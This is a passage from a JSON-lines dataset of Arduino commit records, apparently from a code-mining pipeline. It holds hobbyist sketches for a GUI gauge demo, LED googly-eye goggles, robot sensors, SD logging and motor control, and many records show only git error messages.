gslc_ElemXGaugeCreate(&m_gui, E_RADIAL, E_PG_MAIN, &m_sXRadial,\n (gslc_tsRect) { 210, 140, 80, 80 }, 0, 100, 0, GSLC_COL_YELLOW, false);\n gslc_ElemSetCol(&m_gui, pElemRef, GSLC_COL_WHITE, GSLC_COL_BLACK, GSLC_COL_BLACK);\n gslc_ElemXGaugeSetStyle(&m_gui, pElemRef, GSLCX_GAUGE_STYLE_RADIAL);\n gslc_ElemXGaugeSetIndicator(&m_gui, pElemRef, GSLC_COL_YELLOW, 30, 3, true);\n gslc_ElemXGaugeSetTicks(&m_gui, pElemRef, GSLC_COL_GRAY_LT1, 8, 5);\n\n pElemRef = gslc_ElemXGaugeCreate(&m_gui, E_RAMP, E_PG_MAIN, &m_sXRamp,\n (gslc_tsRect) { 80, 140, 100, 80 }, 0, 100, 50, GSLC_COL_YELLOW, false);\n gslc_ElemSetCol(&m_gui, pElemRef, GSLC_COL_WHITE, GSLC_COL_BLACK, GSLC_COL_BLACK);\n gslc_ElemXGaugeSetStyle(&m_gui, pElemRef, GSLCX_GAUGE_STYLE_RAMP);\n\n pElemRef = gslc_ElemXSliderCreate(&m_gui, E_SLIDER, E_PG_MAIN, &m_sXSlider,\n (gslc_tsRect) { 20, 60, 140, 20 }, 0, 100, 50, 5, false);\n gslc_ElemSetCol(&m_gui, pElemRef, GSLC_COL_GREEN, GSLC_COL_BLACK, GSLC_COL_BLACK);\n gslc_ElemXSliderSetStyle(&m_gui, pElemRef, true, GSLC_COL_GREEN_DK4, 10, 5, GSLC_COL_GRAY_DK2);\n gslc_ElemXSliderSetPosFunc(&m_gui, pElemRef, &CbSlideRadial);\n\n pElemRef = gslc_ElemCreateTxt(&m_gui, E_ELEM_TXT_COUNT, E_PG_MAIN, (gslc_tsRect) { 180, 60, 40, 20 },\n (char*)\"\", 0, E_FONT_TXT);\n\n pElemRef = gslc_ElemCreateBtnTxt(&m_gui, E_ELEM_BTN_QUIT, E_PG_MAIN,\n (gslc_tsRect) { 250, 60, 50, 30 }, (char*)\"QUIT\", 0, E_FONT_BTN, &CbBtnQuit);\n gslc_ElemSetCol(&m_gui, pElemRef, GSLC_COL_BLUE_DK2, GSLC_COL_BLUE_DK4, GSLC_COL_BLUE_DK1);\n gslc_ElemSetTxtCol(&m_gui, pElemRef, GSLC_COL_WHITE);\n\n return true;\n}\n\n\nvoid setup()\n{\n \/\/ Initialize debug output\n Serial.begin(9600);\n gslc_InitDebug(&DebugOut);\n \/\/delay(1000); \/\/ NOTE: Some devices require a delay after Serial.begin() before serial port can be used\n\n \/\/ Initialize\n if (!gslc_Init(&m_gui, &m_drv, m_asPage, MAX_PAGE, m_asFont, MAX_FONT)) { return; }\n\n \/\/ Load Fonts\n if (!gslc_FontAdd(&m_gui, E_FONT_BTN, GSLC_FONTREF_PTR, NULL, 1)) { return; }\n if (!gslc_FontAdd(&m_gui, E_FONT_TXT, GSLC_FONTREF_PTR, NULL, 1)) { return; }\n if (!gslc_FontAdd(&m_gui, E_FONT_TITLE, GSLC_FONTREF_PTR, NULL, 3)) { return; }\n\n \/\/ Create pages display\n InitOverlays();\n\n \/\/ Start up display on main page\n gslc_SetPageCur(&m_gui, E_PG_MAIN);\n\n m_bQuit = false;\n return;\n}\n\nvoid loop()\n{\n \/\/ General counter\n m_nCount++;\n\n \/\/ Periodically call GUIslice update function\n gslc_Update(&m_gui);\n\n \/\/ In a real program, we would detect the button press and take an action.\n \/\/ For this Arduino demo, we will pretend to exit by emulating it with an\n \/\/ infinite loop. Note that interrupts are not disabled so that any debug\n \/\/ messages via Serial have an opportunity to be transmitted.\n if (m_bQuit) {\n gslc_Quit(&m_gui);\n while (1) {}\n }\n}\n\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'examples\/arduino\/ex09_ard_radial\/ex09_ard_radial.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"f457118f11fbfb040ef0c35765c41a66112c9d33","subject":"Added actual ino","message":"Added actual ino\n\nOnly basic functionality. Some crap code.\n","repos":"TheMourningDawn\/InfinityGoggles,TheMourningDawn\/InfinityGoggles","old_file":"goggles9dof.ino","new_file":"goggles9dof.ino","new_contents":"\/\/ Googly Eye Goggles\n\/\/ By Bill Earl\n\/\/ For Adafruit Industries\n\/\/\n\/\/ The googly eye effect is based on a physical model of a pendulum.\n\/\/ The pendulum motion is driven by accelerations in 2 axis.\n\/\/ Eye color varies with orientation of the magnetometer\n#include <Wire.h>\n#include <SPI.h>\n\n#include <Adafruit_Sensor.h>\n#include <Adafruit_LSM9DS0.h>\n#include <Adafruit_Simple_AHRS.h>\n#include <FastLED.h>\n\n\n#define DATAPIN_LEFT 6\n#define CLOCKPIN_LEFT 9\n#define DATAPIN_RIGHT 0\n#define CLOCKPIN_RIGHT 1\n#define NUM_LEDS 21 \/\/Number of LEDS per lense\n\nCRGB leftLense[NUM_LEDS];\nCRGB rightLense[NUM_LEDS];\n\nAdafruit_LSM9DS0 lsm = Adafruit_LSM9DS0();\nsensors_event_t accel, mag, gyro, temp;\nAdafruit_Simple_AHRS ahrs(&lsm.getAccel(), &lsm.getMag());\n \nfloat pos = 6; \/\/ Starting center position of pupil\nfloat increment = 2 * 3.14159 \/ 21; \/\/ distance between pixels in radians\nfloat MomentumH = 0; \/\/ horizontal component of pupil rotational inertia\nfloat MomentumV = 0; \/\/ vertical component of pupil rotational inertia\n\n\/\/ Tuning constants. (a.k.a. \"Fudge Factors) \n\/\/ These can be tweaked to adjust the liveliness and sensitivity of the eyes.\nconst float friction = 0.999; \/\/ frictional damping constant. 1.0 is no friction.\nconst float swing = 60; \/\/ arbitrary divisor for gravitational force\nconst float gravity = 200; \/\/ arbitrary divisor for lateral acceleration\nconst float nod = 7.5; \/\/ accelerometer threshold for toggling modes\n\nlong nodStart = 0;\nlong nodTime = 2000;\n\nbool antiGravity = true; \/\/ The pendulum will anti-gravitate to the top.\nbool mirroredEyes = false; \/\/ The left eye will mirror the right.\n\nconst float halfWidth = 2.0; \/\/ half-width of pupil (in pixels)\n\n\/\/ Pi for calculations - not the raspberry type :: 1.25\nconst float Pi = 3.14159;\n\nvoid setupSensor() {\n \/\/ 1.) Set the accelerometer range\n lsm.setupAccel(lsm.LSM9DS0_ACCELRANGE_2G);\n \/\/lsm.setupAccel(lsm.LSM9DS0_ACCELRANGE_4G);\n \/\/lsm.setupAccel(lsm.LSM9DS0_ACCELRANGE_6G);\n \/\/lsm.setupAccel(lsm.LSM9DS0_ACCELRANGE_8G);\n \/\/lsm.setupAccel(lsm.LSM9DS0_ACCELRANGE_16G);\n \n \/\/ 2.) Set the magnetometer sensitivity\n lsm.setupMag(lsm.LSM9DS0_MAGGAIN_2GAUSS);\n \/\/lsm.setupMag(lsm.LSM9DS0_MAGGAIN_4GAUSS);\n \/\/lsm.setupMag(lsm.LSM9DS0_MAGGAIN_8GAUSS);\n \/\/lsm.setupMag(lsm.LSM9DS0_MAGGAIN_12GAUSS);\n\n \/\/ 3.) Setup the gyroscope\n lsm.setupGyro(lsm.LSM9DS0_GYROSCALE_245DPS);\n \/\/lsm.setupGyro(lsm.LSM9DS0_GYROSCALE_500DPS);\n \/\/lsm.setupGyro(lsm.LSM9DS0_GYROSCALE_2000DPS);\n\/\/ Serial.println(\"did this?\");\n}\n\nvoid setup(void) {\n Serial.begin(9600);\n FastLED.addLeds<APA102, DATAPIN_LEFT, CLOCKPIN_LEFT>(leftLense, NUM_LEDS);\n FastLED.addLeds<APA102, DATAPIN_RIGHT, CLOCKPIN_RIGHT>(rightLense, NUM_LEDS);\n\n \/\/ Try to initialise and warn if we couldn't detect the chip\n if (!lsm.begin()) {\n\/\/ Serial.println(\"Oops ... unable to initialize the LSM9DS0. Check your wiring!\");\n while (1);\n }\n setupSensor();\n resetModes();\n}\n \n\/\/ main processing loop\nvoid loop(void) \n{\n \/\/ Read the magnetometer and determine the compass heading:\n lsm.getEvent(&accel, &mag, &gyro, &temp); \n \n sensors_vec_t orientation;\n ahrs.getOrientation(&orientation);\n \n \/\/ Calculate the angle of the vector z,x from magnetic North\n\/\/ float heading = atan2(mag.magnetic.x,mag.magnetic.z) * (180 \/ Pi);\n float heading = orientation.heading;\n\n \/\/ Normalize to 0-360 for a compass heading\n if (heading < 0) {\n heading = 360 + heading;\n }\n\n \/\/ Check for mode change commands\n\/\/ CheckForNods(lsm);\n\n \/\/ apply a little frictional damping to keep things in control and prevent perpetual motion\n MomentumH *= friction;\n MomentumV *= friction;\n\n \/\/ Calculate the horizontal and vertical effect on the virtual pendulum\n \/\/ 'pos' is a pixel address, so we multiply by 'increment' to get radians.\n float TorqueH = cos(pos * increment); \/\/ peaks at top and bottom of the swing\n float TorqueV = sin(pos * increment); \/\/ peaks when the pendulum is horizontal\n\n \/\/ Add the incremental acceleration to the existing momentum\n \/\/ This code assumes that the accelerometer is mounted upside-down, level\n \/\/ and with the X-axis pointed forward. So the Y axis reads the horizontal\n \/\/ acceleration and the inverse of the Z axis is gravity.\n \/\/ For other orientations of the sensor, just change the axis to match.\n MomentumH += TorqueH * accel.acceleration.z \/ swing;\n if (antiGravity) {\n MomentumV += TorqueV * -accel.acceleration.y \/ gravity;\n } else {\n MomentumV -= TorqueV * -accel.acceleration.y \/ gravity;\n }\n\n \/\/ Calculate the new position\n pos += MomentumH + MomentumV;\n \n \/\/ handle the wrap-arounds at the top\n while (round(pos) < 0) pos += 21.0;\n while (round(pos) > 20) pos -= 21.0;\n\n \/\/ Now re-compute the display\n for (int i = 0; i <21; i++) {\n \/\/ Compute the distance bewteen the pixel and the center\n \/\/ point of the virtual pendulum.\n float diff = i - pos;\n\n \/\/ Light up nearby pixels proportional to their proximity to 'pos'\n if (fabs(diff) <= halfWidth) {\n CRGB color;\n float proximity = halfWidth - fabs(diff) * 200; \/\/Not being used right now\n\n \/\/ pick a color based on heading & proximity to 'pos'\n color = selectColor(heading);\n \n \/\/ do both eyes\n leftLense[i] = color;\n float rightLenseOffset = i - 10;\n while (round(rightLenseOffset) < 0) rightLenseOffset += 21.0;\n while (round(rightLenseOffset) > 20) rightLenseOffset -= 21.0;\n int rightLenseIndex = fabs(rightLenseOffset);\n if (mirroredEyes) {\n rightLense[rightLenseIndex] = color;\n } else {\n rightLense[rightLenseIndex] = color;\n }\n } else {\/\/ all others are off\n float rightLenseOffset = i - 10;\n while (round(rightLenseOffset) < 0) rightLenseOffset += 21.0;\n while (round(rightLenseOffset) > 20) rightLenseOffset -= 21.0;\n int rightLenseIndex = fabs(rightLenseOffset);\n leftLense[i] = CRGB(0,0,0);\n if (mirroredEyes) {\n rightLense[rightLenseIndex] = CRGB(0,0,0);\n } else {\n rightLense[rightLenseIndex] = CRGB(0,0,0);\n }\n }\n }\n FastLED.show();\n}\n\n\/\/ choose a color based on the compass heading and proximity to \"pos\".\nCRGB selectColor(float heading) {\n int convertedHeading = map(heading, 0, 360, 0, 255);\n return CHSV(convertedHeading, 255, 180);\n}\n\n\/\/ monitor orientation for mode-change 'gestures'\nvoid CheckForNods(sensors_event_t event){\n if (accel.acceleration.x > nod) {\n if (millis() - nodStart > nodTime) {\n antiGravity = false; \n nodStart = millis(); \/\/ reset timer \n spinDown();\n }\n } else if (accel.acceleration.x < -(nod + 1)) {\n if (millis() - nodStart > nodTime) {\n antiGravity = true; \n spinUp();\n nodStart = millis(); \/\/ reset timer \n }\n } else if (accel.acceleration.y > nod) {\n if (millis() - nodStart > nodTime) {\n mirroredEyes = false; \n spinDown();\n nodStart = millis(); \/\/ reset timer \n }\n } else if (accel.acceleration.y < -nod) {\n if (millis() - nodStart > nodTime) {\n mirroredEyes = true; \n spinUp();\n nodStart = millis(); \/\/ reset timer \n }\n } else { \/\/ no nods in progress\n nodStart = millis(); \/\/ reset timer\n }\n}\n\n\/\/ Reset to default\nvoid resetModes() {\n antiGravity = false;\n mirroredEyes = true;\n \n \/\/\/ spin-up\n spin(CRGB(255, 0, 0), 1, 500);\n spin(CRGB(0, 255, 0), 1, 500);\n spin(CRGB(0, 0, 255), 1, 500);\n spinUp();\n}\n\n\/\/ gradual spin up\nvoid spinUp() {\n for (int i = 300; i > 0; i -= 20) {\n spin(CRGB::White, 1, i);\n }\n pos = 0;\n \/\/ leave it with some momentum and let it 'coast' to a stop\n MomentumH = 3; \n}\n\n\/\/ Gradual spin down\nvoid spinDown() {\n for (int i = 1; i < 300; i++) {\n spin(CRGB::White, 1, i += 20);\n }\n \/\/ Stop it dead at the top and let it swing to the bottom on its own\n pos = 0;\n MomentumH = MomentumV = 0;\n}\n\n\n\/\/ utility function for feedback on mode changes.\nvoid spin(CRGB color, int count, int time) {\n for (int j = 0; j < count; j++) {\n for (int i = 0; i < 21; i++) {\n rightLense[i] = color;\n leftLense[i] = color;\n FastLED.show();\n delay(max(time \/ 21, 1));\n leftLense[i] = CRGB::Black;\n rightLense[i] = CRGB::Black;\n FastLED.show();\n }\n }\n}\n\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'goggles9dof.ino' did not match any file(s) known to git\n","license":"apache-2.0","lang":"Arduino"} {"commit":"faa187092e51c4c53b9ded05df6ff4ba7c6409cf","subject":"Revert \"Revert \"Condensed SD Writes into a Function and Added a Check for SD on Serial\"\"","message":"Revert \"Revert \"Condensed SD Writes into a Function and Added a Check for SD on Serial\"\"\n\nThis reverts commit f73c4ef19250114e68ca3d315d17c4ba0d7f8005.\n","repos":"Newark-Catholic-Robotics-Club\/Newark-Catholic-Atmospheric-Exploration-Project,Newark-Catholic-Robotics-Club\/Newark-Catholic-Atmospheric-Exploration-Project","old_file":"Data Logging\/Data-Logging-Main\/Data-Logging-Main.ino","new_file":"Data Logging\/Data-Logging-Main\/Data-Logging-Main.ino","new_contents":"","old_contents":"","returncode":1,"stderr":"error: pathspec 'Data' did not match any file(s) known to git\nerror: pathspec 'Logging\/Data-Logging-Main\/Data-Logging-Main.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"73fb672e2a3bc223058832823ee2578f1efc2f4a","subject":"Version the arduino code","message":"Version the arduino code\n","repos":"wando-advanced-robotics\/steamworks-robot","old_file":"arduino_sensors\/arduino_sensors.ino","new_file":"arduino_sensors\/arduino_sensors.ino","new_contents":"#include <Adafruit_Sensor.h>\n#include <Adafruit_LSM303_U.h>\n#include <Adafruit_9DOF.h>\n#include <Adafruit_L3GD20_U.h>\n#include <SPI.h>\n#include <Pixy.h>\n#include <LIDARLite.h>\n#include <Wire.h>\n#include <Timer.h>\n\n#define X_CENTER ((PIXY_MAX_X-PIXY_MIN_X)\/2)\nPixy pixy;\nLIDARLite lidar;\nuint16_t blocks;\nboolean debug = false;\nTimer t;\nString gyroPrint;\nAdafruit_9DOF dof = Adafruit_9DOF();\nAdafruit_LSM303_Mag_Unified mag = Adafruit_LSM303_Mag_Unified(30302);\nint i;\n\nvoid printData() {\n sensors_vec_t orientation;\n sensors_event_t mag_event;\n int dif;\n blocks = -1;\n char buffer[100];\n blocks = pixy.getBlocks();\n \/\/ PIXY STUFF\n String dir;\n static int i = 0;\n int CenterOfBlocks;\n char buf[7];\n\n if (blocks) {\n \/\/Serial.println(\"Block Count: \" + String(blocks));\n if (blocks == 1) {\n CenterOfBlocks = pixy.blocks[0].x;\n } else if (blocks == 2) {\n CenterOfBlocks = (pixy.blocks[0].x + pixy.blocks[1].x) \/ 2;\n } else {\n CenterOfBlocks = 0;\n }\n \/\/if (blocks == 1 || blocks == 2) {\n dif = X_CENTER - CenterOfBlocks;\n if (dif < -5) {\n sprintf(buffer, \"^%s~%s~%s~\", \"PIXY\", \"direction\", \"right\");\n Serial.print(buffer);\n } else if (dif > 5) {\n sprintf(buffer, \"^%s~%s~%s~\", \"PIXY\", \"direction\", \"left\");\n Serial.print(buffer);\n } else {\n sprintf(buffer, \"^%s~%s~%s~\", \"PIXY\", \"direction\", \"straight\");\n Serial.print(buffer);\n }\n if (debug) {\n Serial.println(\"\");\n }\n\n }\n\n\n \/\/LIDAR STUFF\n sprintf(buffer, \"^%s~%s~%d~\", \"LIDAR\", \"cm\", lidar.distance());\n Serial.print(buffer);\n if (debug) {\n Serial.println(\"\");\n }\n\n mag.getEvent(&mag_event);\n if (dof.magGetOrientation(SENSOR_AXIS_Z, &mag_event, &orientation))\n {\n dtostrf(orientation.heading, 5, 2 , buf);\n sprintf(buffer, \"^%s~%s~%s~\", \"GYRO\", \"heading\", buf);\n Serial.print(buffer);\n }\n if (debug) {\n Serial.println(\"\");\n }\n}\n\nvoid setup() {\n Serial.begin(115200);\n pixy.init();\n if (debug) {\n Serial.println(\"PIXY ONLINE\");\n }\n lidar.begin(0, true);\n if (debug) {\n Serial.println(\"LIDAR ONLINE\");\n }\n mag.begin();\n if (debug)\n {\n Serial.println(\"GYRO ONLINE\");\n }\n\n}\n\nvoid loop() {\n\n t.update();\n\n}\n\n\n\n\n\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'arduino_sensors\/arduino_sensors.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"630e49ed9a2f92f570def9ede5d6c78bc7e735f4","subject":"calcCharge ready for test suite","message":"calcCharge ready for test suite\n","repos":"janiversen\/SolarPower","old_file":"SolarControl.ino","new_file":"SolarControl.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/janiversen\/SolarPower.git\/'\n","license":"apache-2.0","lang":"Arduino"} {"commit":"c9a99b33a6a8e02e338024419ba39397367ef698","subject":"new readout()","message":"new readout()\n","repos":"janiversen\/SolarPower","old_file":"SolarControl.ino","new_file":"SolarControl.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/janiversen\/SolarPower.git\/'\n","license":"apache-2.0","lang":"Arduino"} {"commit":"d20a85e0733efa7c66383243119c50ceb10b0bc8","subject":"bugfix #69","message":"bugfix #69\n","repos":"ArduProg\/arduino,wiiproSK\/arduino,ArduProg\/arduino,wiiproSK\/arduino,ArduProg\/arduino","old_file":"LEDAquaduino\/LEDAquaduino\/LEDAquaduino.ino","new_file":"LEDAquaduino\/LEDAquaduino\/LEDAquaduino.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/wiiproSK\/arduino.git\/'\n","license":"apache-2.0","lang":"Arduino"} {"commit":"25b9e4658246e2d6567ddbf35f7ec4f7c1fdeba7","subject":"Clear phantom key on hsm_unlock","message":"Clear phantom key on hsm_unlock\n\nSigned-off-by: Edi Permadi <163b49ac0c44ca5b49677bf42f3f8680b3bd9867@gmail.com>\n","repos":"edipermadi\/teensy-hsm,edipermadi\/teensy-hsm","old_file":"teensy-hsm\/teensy-hsm.ino","new_file":"teensy-hsm\/teensy-hsm.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/edipermadi\/teensy-hsm.git\/'\n","license":"mit","lang":"Arduino"} {"commit":"f3af3dc07b5278fe234575315ff07d82c6f787be","subject":"Added arduino source","message":"Added arduino source\n","repos":"FirstBuild\/chillduino,FirstBuild\/chillduino,FirstBuild\/chillduino","old_file":"chillduino.ino","new_file":"chillduino.ino","new_contents":"\/**\n * Copyright (c) 2015 FirstBuild\n *\n * Permission is hereby granted, free of charge, to any person obtaining a copy\n * of this software and associated documentation files (the \"Software\"), to deal\n * in the Software without restriction, including without limitation the rights\n * to use, copy, modify, merge, publish, distribute, sublicense, and\/or sell\n * copies of the Software, and to permit persons to whom the Software is\n * furnished to do so, subject to the following conditions:\n *\n * The above copyright notice and this permission notice shall be included in all\n * copies or substantial portions of the Software.\n *\n * THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\n * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\n * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\n * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\n * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\n * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE\n * SOFTWARE.\n *\n *\/\n\n#include \"chillduino.h\"\n\nvoid setup(void) {\n Chillduino::setup();\n}\n\nvoid loop(void) {\n Chillduino::loop();\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'chillduino.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"f2776253ace723a227a681546882b60e4a923e64","subject":"forgot to change version into 1.0","message":"forgot to change version into 1.0\n","repos":"TEAMarg\/ID-40-VIRUS-LQP-79,TEAMarg\/ID-40-VIRUS-LQP-79","old_file":"VLQP_AB\/VLQP_AB.ino","new_file":"VLQP_AB\/VLQP_AB.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/TEAMarg\/ID-40-VIRUS-LQP-79.git\/'\n","license":"mit","lang":"Arduino"} {"commit":"27339e51cb315a130203d31abec19977edf961f5","subject":"Update Thermal_HUD_bicubic.ino","message":"Update Thermal_HUD_bicubic.ino\n\nMultiple methods of selecting a color were added","repos":"E-Ruhl\/ECE_411_Practicum,E-Ruhl\/ECE_411_Practicum","old_file":"Thermal Imaging HUD code\/Thermal_HUD_bicubic.ino","new_file":"Thermal Imaging HUD code\/Thermal_HUD_bicubic.ino","new_contents":"","old_contents":"","returncode":1,"stderr":"error: pathspec 'Thermal' did not match any file(s) known to git\nerror: pathspec 'Imaging' did not match any file(s) known to git\nerror: pathspec 'HUD' did not match any file(s) known to git\nerror: pathspec 'code\/Thermal_HUD_bicubic.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"4e3c8b7df652a62742a9060bc9015dff2ba89ff9","subject":"Commit after tests","message":"Commit after tests\n","repos":"fire1\/ArduinoMid,fire1\/ArduinoMid","old_file":"tests\/LogCard\/LogCard.ino","new_file":"tests\/LogCard\/LogCard.ino","new_contents":"#include <Arduino.h>\n\n#include <SD.h>\n#include <SPI.h>\n\n\n#ifndef __SD_H__\n\n#include \"..\/..\/libraries\/SD\/src\/SD.h\"\n#include \"..\/..\/libraries\/SD\/src\/utility\/SdFat.h\"\n\n#endif\n\n\nconst int chipSelect = 22;\nconst char *logFilename = \"mid.log\";\n\n\nFile logFile;\n\nvoid setup() {\n\n\n Serial.begin(115200);\n \/\/ see if the card is present and can be initialized:\n if (!SD.begin(chipSelect)) {\n Serial.println(\"Card failed, or not present\");\n \/\/ don't do anything more:\n return;\n }\n Serial.println(\"card initialized.\");\n\n\n logFile = SD.open(logFilename);\n if (logFile) {\n Serial.println(\"mid.log: \");\n \/\/ read from the file until there's nothing else in it:\n while (logFile.available()) {\n Serial.write(logFile.read());\n }\n \/\/ close the file:\n logFile.close();\n } else {\n \/\/ if the file didn't open, print an error:\n Serial.println(\"error opening mid.log\");\n }\n\n\n logFile = SD.open(logFilename, FILE_WRITE);\n\n if (logFile) {\n logFile.println(\"test\");\n logFile.close();\n }\n\n}\n\nvoid loop() {\n\n\n}","old_contents":"","returncode":1,"stderr":"error: pathspec 'tests\/LogCard\/LogCard.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"b42b4c762f0d9270d531fdec9738b4ad3f40bf1c","subject":"Update Lightning862OrangeAndBlue.ino","message":"Update Lightning862OrangeAndBlue.ino","repos":"nolanpatrick\/spi_leds_862","old_file":"spi_leds_arduino\/Lightning862OrangeAndBlue.ino","new_file":"spi_leds_arduino\/Lightning862OrangeAndBlue.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/nolanpatrick\/spi_leds_862.git\/'\n","license":"bsd-3-clause","lang":"Arduino"} {"commit":"aa70a146eeb40999200aa612eff8808b2df593dc","subject":"successfully tested","message":"successfully tested\n","repos":"MakerLabsVan\/ACM,MakerLabsVan\/ACM,MakerLabsVan\/ACM,MakerLabsVan\/ACM","old_file":"unit tests\/reader_test\/reader_test.ino","new_file":"unit tests\/reader_test\/reader_test.ino","new_contents":"","old_contents":"","returncode":1,"stderr":"error: pathspec 'unit' did not match any file(s) known to git\nerror: pathspec 'tests\/reader_test\/reader_test.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"9b0ee575a27a435dd2d20859940b23c7fbaa1de2","subject":"arduino\u306e\u30bd\u30fc\u30b9\u3092\u8ffd\u52a0","message":"arduino\u306e\u30bd\u30fc\u30b9\u3092\u8ffd\u52a0\n","repos":"RoboJam\/robojam-remote,RoboJam\/robojam-remote","old_file":"arduino\/sketch_my_moter_test\/sketch_my_moter_test.ino","new_file":"arduino\/sketch_my_moter_test\/sketch_my_moter_test.ino","new_contents":"#include <Wire.h>\n\nvoid setup() {\n \/\/ \u30e2\u30fc\u30bf\u30fcA\u306e\u5236\u5fa1\u7528\u30d4\u30f3\u8a2d\u5b9a\n pinMode(12, OUTPUT); \/\/ \u56de\u8ee2\u65b9\u5411 (HIGH\/LOW)\n pinMode(9, OUTPUT); \/\/ \u30d6\u30ec\u30fc\u30ad (HIGH\/LOW)\n pinMode(3, OUTPUT); \/\/ PWM\u306b\u3088\u308b\u30b9\u30d4\u30fc\u30c9\u5236\u5fa1 (0-255)\n\n \/\/ \u30e2\u30fc\u30bf\u30fcB\u306e\u5236\u5fa1\u7528\u30d4\u30f3\u8a2d\u5b9a\n pinMode(13, OUTPUT); \/\/ \u56de\u8ee2\u65b9\u5411 (HIGH\/LOW)\n pinMode(8, OUTPUT); \/\/ \u30d6\u30ec\u30fc\u30ad (HIGH\/LOW)\n pinMode(11, OUTPUT); \/\/ PWM\u306b\u3088\u308b\u30b9\u30d4\u30fc\u30c9\u5236\u5fa1 (0-255)\n \n Wire.begin(); \/\/ join i2c bus (address optional for master)\n Serial.begin(115200);\n}\n\nvoid moterA(int dir,int power)\n{\n \/\/ \u30e2\u30fc\u30bf\u30fcA: \u30d5\u30eb\u30b9\u30d4\u30fc\u30c9\u6b63\u8ee2\n digitalWrite(12, dir > 0 ? HIGH : LOW);\n digitalWrite(9, dir == 0 ? HIGH : LOW);\n analogWrite(3, power);\n}\nvoid moterB(int dir,int power)\n{\n \/\/ \u30e2\u30fc\u30bf\u30fcA: \u30d5\u30eb\u30b9\u30d4\u30fc\u30c9\u6b63\u8ee2\n digitalWrite(13, dir > 0 ? HIGH : LOW);\n digitalWrite(8, dir == 0 ? HIGH : LOW);\n analogWrite(11, power);\n}\n\nint xxx=0;\nvoid loop(){ \n while (Serial.available())\n { \n char c = Serial.read();\n if(c=='f')\n {\n moterA(1,255);\n moterB(1,255);\n }\n if(c=='b')\n {\n moterA(-1,255);\n moterB(-1,255);\n }\n if(c=='r')\n {\n moterA(1,255);\n moterB(-1,255);\n }\n if(c=='l')\n {\n moterA(-1,255);\n moterB(1,255);\n }\n if(c=='1'){\n moterA(1,255);\n }\n if(c=='2'){\n moterB(1,255);\n }\n if(c=='3'){\n moterA(-1,255);\n }\n if(c=='4'){\n moterB(-1,255);\n }\n delay(50);\n \/\/ stop\n analogWrite(3, 0);\n analogWrite(11, 0);\n }\n \n\n#if 0\n \/\/ \u30e2\u30fc\u30bf\u30fcA: \u30d5\u30eb\u30b9\u30d4\u30fc\u30c9\u6b63\u8ee2\n digitalWrite(12, HIGH);\n digitalWrite(9, LOW);\n analogWrite(3, 255);\n \/\/ \u30e2\u30fc\u30bf\u30fcB: \u30d5\u30eb\u30b9\u30d4\u30fc\u30c9\u6b63\u8ee2\n digitalWrite(13, HIGH);\n digitalWrite(8, LOW);\n analogWrite(11, 255);\n \/\/ 2\u79d2\u9593\u4e0a\u8a18\u8a2d\u5b9a\u3067\u56de\u8ee2\n delay(500);\n\n \/\/ \u30e2\u30fc\u30bf\u30fcA: \u30d5\u30eb\u30b9\u30d4\u30fc\u30c9\u9006\u8ee2\n digitalWrite(12, LOW);\n digitalWrite(9, LOW);\n analogWrite(3, 255);\n \/\/ \u30e2\u30fc\u30bf\u30fcB: \u30d5\u30eb\u30b9\u30d4\u30fc\u30c9\u9006\u8ee2\n digitalWrite(13, LOW);\n digitalWrite(8, LOW);\n analogWrite(11, 255);\n \/\/ 2\u79d2\u9593\u4e0a\u8a18\u8a2d\u5b9a\u3067\u56de\u8ee2\n delay(500);\n \n xxx++;\n if(xxx%5==0)\n {\n \/\/ \u30e2\u30fc\u30bf\u30fcA: 